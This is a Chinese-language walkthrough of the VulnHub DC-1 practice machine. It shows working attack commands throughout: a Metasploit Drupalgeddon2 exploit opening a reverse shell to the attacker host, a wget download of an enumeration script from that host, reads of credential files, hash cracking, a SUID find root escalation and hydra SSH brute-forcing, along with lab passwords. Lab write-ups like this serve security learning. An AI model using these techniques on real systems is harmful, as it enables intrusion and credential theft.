VulnHub DC-1 靶机渗透测试笔记

🛡️ VulnHub DC-1 靶机渗透测试笔记

靶机信息

  • 靶机名称:DC-1
  • 靶机来源:VulnHub
  • 目标:获取所有 flag,最终提权至 root
  • 难度:⭐⭐☆☆☆(入门级)
  • 涉及技术:信息收集、Drupal 漏洞利用、MySQL 数据库操作、Linux 权限提升、SSH 爆破
  • www.cnblogs.com/wrold/p/196...

🔍 一、信息收集

1.1 主机发现

先查看一下本地网段,确认在 67 网段,使用 nmap 扫描存活主机:

复制代码
nmap -sn 192.168.67.0/24

扫描结果中发现目标 IP 为 192.168.67.131

1.2 端口与服务扫描

对目标 IP 进行详细扫描,获取开放端口、服务版本及系统信息:

css 复制代码
nmap -A -T4 192.168.67.131
bash 复制代码
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7
111/tcp open  rpcbind 2-4 (RPC #100000)

扫描结果分析:

端口 服务 关键信息
22 SSH OpenSSH 6.0p1,版本较老
80 HTTP Drupal 7,Apache 2.2.22
111 RPC 基本无利用价值

💡 关键发现: 80 端口运行的是 Drupal 7 CMS,这是一个存在多个高危漏洞的版本,是本次渗透的主要突破口。


💥 二、漏洞利用

2.1 搜索 Drupal 漏洞

使用 searchsploit 在本地漏洞库中搜索 Drupal 7 相关漏洞:

复制代码
searchsploit drupal 7

发现 Drupalgeddon2(CVE-2018-7600) 漏洞,该漏洞允许未授权远程代码执行(RCE),危害极高。

2.2 使用 Metasploit 利用漏洞

启动 Metasploit 框架:

复制代码
msfconsole

搜索并加载 Drupalgeddon2 模块:

bash 复制代码
search Drupalgeddon
use exploit/unix/webapp/drupal_drupalgeddon2

查看模块参数配置(Required: yes 为必填项):

sql 复制代码
show options

配置目标和本机 IP:

arduino 复制代码
set RHOSTS 192.168.67.131
set LHOST 192.168.67.128
set LPORT 4444

执行攻击:

arduino 复制代码
run

成功获取 Meterpreter shell,进入交互式终端:

rust 复制代码
shell
python -c 'import pty;pty.spawn("/bin/bash")'

查看当前权限:

bash 复制代码
whoami   # www-data
id
uname -a # Linux DC-1 3.2.0-6-486

⚠️ 当前为 www-data 权限,需要进一步提权。


🚩 三、寻找 Flag

3.1 Flag 1

查看当前目录文件,发现 flag1.txt

arduino 复制代码
Every good CMS needs a config file - and so do you.

💡 提示:去找 CMS 的配置文件。

3.2 Flag 2 ------ 数据库配置文件

Drupal 的配置文件路径为:

bash 复制代码
cat /var/www/drupal/sites/default/settings.php

在配置文件中发现 MySQL 数据库账号密码 以及 Flag 2

数据库凭据:dbuser / R0ck3t

尝试用 Navicat 外连失败(目标不允许外部连接):

改为在 shell 中本地连接 MySQL:

复制代码
mysql -udbuser -pR0ck3t

查看数据库,进入 drupaldb

ini 复制代码
show databases;
use drupaldb;
show tables;

查看 users 表结构:

bash 复制代码
desc users;

提取用户名和密码 hash:

csharp 复制代码
select name,pass from users;

3.3 破解管理员密码

密码为 Drupal 使用的 PHPass 加密格式($S$ 开头),使用在线工具破解:

破解结果:

shell 复制代码
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR : 53cr3t

🔑 管理员账号:admin / 53cr3t

3.4 Flag 3 ------ Drupal 后台

使用破解的账号登录 Drupal 后台:http://192.168.67.131/user/login

在后台内容中发现 Flag 3

💡 提示:去找 /etc/passwd 文件。

3.5 Flag 4 ------ 系统用户信息

在 MSF shell 中查看 /etc/passwd

发现系统存在 flag4 用户:

ruby 复制代码
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

进入 /home/flag4 目录,查看 flag4 内容:

bash 复制代码
cat flag4.txt
vbnet 复制代码
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

💡 提示:在 root 目录中还有最终 flag,需要提权。


⬆️ 四、权限提升

4.1 信息收集

笔记里的提权方式有很多

查看内核版本:

尝试使用 MSF 自动检测提权方案:

arduino 复制代码
run post/multi/recon/local_exploit_suggester

未找到可用的提权建议,换手动方式。

4.2 使用 LinPEAS 自动枚举

靶机无法访问外网,通过 Kali 中转传输文件。

在 Kali 上开启 HTTP 服务:

yaml 复制代码
python3 -m http.server 8888

在靶机 shell 中下载 linpeas.sh

arduino 复制代码
wget http://192.168.67.128:8888/linpeas.sh

确认下载成功后执行:

bash 复制代码
chmod +x linpeas.sh
./linpeas.sh

LinPEAS 输出结果中发现 find 命令具有 SUID 权限:

4.3 SUID 提权(find 命令)

访问 GTFOBins 查询 find 的 SUID 利用方式:

执行提权命令(注意需要使用 -p 参数保留 SUID 权限):

bash 复制代码
find . -exec /bin/bash -p ; -quit

成功获取 root 权限,找到最终 flag:

vbnet 复制代码
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

🔑 五、扩展:SSH 爆破登录

除 SUID 提权外,还可以通过爆破 flag4 用户的 SSH 密码来进行另一条提权路线。

使用 hydra 爆破 SSH(用的是john的字典):

arduino 复制代码
hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.67.131

成功获取密码:flag4 / orange

perl 复制代码
ssh flag4@192.168.67.131
# 密码:orange

💡 登录 flag4 后同样可以利用 SUID find 或内核漏洞提权至 root。


📋 六、渗透流程总结

arduino 复制代码
信息收集(nmap)
    ↓
发现 Drupal 7 → Drupalgeddon2(CVE-2018-7600)
    ↓
Metasploit 获取 www-data shell
    ↓
读取 settings.php → 数据库凭据 → 破解管理员 hash
    ↓
登录 Drupal 后台 → Flag 3
    ↓
查看 /etc/passwd → 发现 flag4 用户
    ↓
LinPEAS 枚举 → 发现 find SUID
    ↓
SUID find 提权 → root → 最终 Flag ✅

🛠️ 七、涉及工具汇总

工具 用途
nmap 端口扫描、服务识别
searchsploit 本地漏洞库搜索
Metasploit 漏洞利用框架
MySQL CLI 数据库查询
LinPEAS Linux 提权信息收集
GTFOBins SUID/sudo 利用查询
Hydra SSH 密码爆破
hashes.com 在线 hash 破解

📝 本文为 VulnHub DC-1 靶机学习笔记,仅用于合法的安全学习与研究。

相关推荐
学代码的真由酱几秒前
【自用】接口测试
接口测试·postman·测试·cookie·token鉴权
hhcgchpspk1 小时前
xss漏洞学习笔记
笔记·学习·网络安全·xss
nnsix1 小时前
Unity 动态批处理、静态批处理、GPU Instaning、SRP Batcher 笔记
笔记·unity·单一职责原则
情绪总是阴雨天~1 小时前
OCR光学字符识别技术:完整原理与实战学习笔记
笔记·学习·ocr
searchforAI1 小时前
B站视频怎么转文字稿?AI自动总结要点+生成思维导图教程
人工智能·笔记·学习·ai·语音识别·知识管理·视频总结
me8321 小时前
【AI】Langchain4j开发学习笔记
人工智能·笔记·学习
LuminousCPP1 小时前
数据结构 - 单链表第一篇:单链表基础操作
c语言·数据结构·经验分享·笔记·学习
虎符饼干1 小时前
内容SEO落地细则,依托质量撬动搜索自然流量
笔记
Cloud_Shy6181 小时前
解读《Effective Python 3rd Edition》:从练气到老魔(第六章 Item 44 - 47)
开发语言·人工智能·经验分享·笔记·python
qeen871 小时前
【C++】类与对象之零散知识点补充(四)
c++·笔记·学习·语法